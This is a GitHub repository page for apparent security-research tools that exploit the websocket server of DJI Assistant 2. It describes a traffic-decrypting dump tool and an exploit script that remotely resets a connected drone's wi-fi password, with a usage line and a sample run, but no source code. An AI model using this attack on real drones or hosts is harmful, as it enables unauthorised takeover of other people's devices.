Skip to content

DJI Assistant 2 web socket server exploitation tools

Notifications You must be signed in to change notification settings

embedi/dji-ws-tools

Folders and files

NameName
Last commit message
Last commit date

Latest commit

author
Andrey Akimov
Mar 7, 2018
5870846 · Mar 7, 2018

History

1 Commit
Mar 7, 2018
Mar 7, 2018
Mar 7, 2018
Mar 7, 2018
Mar 7, 2018

Repository files navigation

DJI WebSocket interface exploitation

Tools for working with the websocket server launched by DJI Assistant 2 application.

dji_wsdump.py

wsdump.py tool from websocket-client package, modified to encrypt/decrypt data in communications with DJI Assistant 2 websocket server.

dji_ws_exploit.py

A tool to modify an aircraft wi-fi network password remotely while it is connected through USB to a remote host.

Usage: dji_ws_exploit.py [-h] target password
    target -  remote host which the aircraft's connected to
    password - new wi-fi network password

Example:

# python dji_ws_exploit.py 192.168.17.7 1q2w3e
[*] Connecting to ws://192.168.17.7:19870/general
[*] Determined encryption: enabled
[*] Grabbed id value: 1d9776fab950ed3f441909deafe56b1226ca5889
[*] Connecting to ws://192.168.17.7:19870/controller/wifi/1d9776fab950ed3f441909deafe56b1226ca5889
[*] Setting new password for wi-fi network
[*] Rebooting wi-fi
[!] Success

About

DJI Assistant 2 web socket server exploitation tools

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages